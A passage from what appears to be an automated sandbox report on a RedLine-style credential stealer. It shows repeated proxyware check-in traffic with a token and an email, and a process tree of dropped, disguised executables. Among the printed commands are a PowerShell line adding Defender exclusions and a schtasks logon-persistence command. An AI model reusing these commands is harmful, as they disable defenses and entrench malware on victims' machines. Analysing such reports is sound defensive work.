2022-11-27 03:38:12 UTC	63	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49973	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:12 UTC	63	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:12 UTC	63	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:12 UTC	63	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:12 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d463ab4ebbfd-FRA
2022-11-27 03:38:12 UTC	63	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49976	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:12 UTC	64	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:12 UTC	64	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:12 UTC	64	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:12 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d4657c7690b5-FRA
2022-11-27 03:38:12 UTC	64	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49978	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:12 UTC	64	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:12 UTC	64	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:13 UTC	65	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:13 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d467185f5c2c-FRA
2022-11-27 03:38:13 UTC	65	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49981	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:13 UTC	65	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:13 UTC	65	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:13 UTC	65	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:13 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d468bbcf905b-FRA
2022-11-27 03:38:13 UTC	65	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49984	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:13 UTC	66	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:13 UTC	66	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:13 UTC	66	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:13 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d46a6d5f9094-FRA
2022-11-27 03:38:13 UTC	66	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49987	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:13 UTC	66	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:13 UTC	66	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:13 UTC	67	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:13 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d46c7cc5917a-FRA
2022-11-27 03:38:13 UTC	67	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49989	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:14 UTC	67	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:14 UTC	67	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:14 UTC	67	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:14 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d46e1c989b70-FRA
2022-11-27 03:38:14 UTC	68	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49992	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:38:14 UTC	68	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:38:14 UTC	68	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:38:14 UTC	68	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:38:14 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d46fc84592ab-FRA
2022-11-27 03:38:14 UTC	68	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: setup.exePID: 3648, Parent PID: 3324

General

Target ID:	0
Start time:	04:35:59
Start date:	27/11/2022
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\setup.exe
Imagebase:	0x400000
File size:	217088 bytes
MD5 hash:	9A753BEB650C0D6827E05507349D5E2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.295712135.0000000001EB2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5280, Parent PID: 3648

General

Target ID:	1
Start time:	04:35:59
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 860, Parent PID: 3648

General

Target ID:	2
Start time:	04:36:00
Start date:	27/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0x1250000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: brave.exePID: 5284, Parent PID: 860

General

Target ID:	3
Start time:	04:36:40
Start date:	27/11/2022
Path:	C:\Users\user\AppData\Local\Google\brave.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Google\brave.exe"
Imagebase:	0x7ff69f800000
File size:	2884608 bytes
MD5 hash:	9253ED091D81E076A3037E12AF3DC871
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 85%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 5840, Parent PID: 860

General

Target ID:	4
Start time:	04:36:41
Start date:	27/11/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\ofg.exe"
Imagebase:	0xb20000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5964, Parent PID: 5284

General

Target ID:	5
Start time:	04:36:41
Start date:	27/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6100, Parent PID: 5964

General

Target ID:	6
Start time:	04:36:42
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 5212, Parent PID: 5840

General

Target ID:	7
Start time:	04:36:42
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1876, Parent PID: 5212

General

Target ID:	8
Start time:	04:36:42
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5088, Parent PID: 860

General

Target ID:	9
Start time:	04:36:43
Start date:	27/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\chrome.exe"
Imagebase:	0x10a0000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 65%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 2232, Parent PID: 1084

General

Target ID:	10
Start time:	04:36:44
Start date:	27/11/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\ofg.exe
Imagebase:	0xb20000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 2296, Parent PID: 2232

General

Target ID:	11
Start time:	04:36:45
Start date:	27/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xcd0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5552, Parent PID: 2296

General

Target ID:	12
Start time:	04:36:47
Start date:	27/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2824, Parent PID: 5284

General

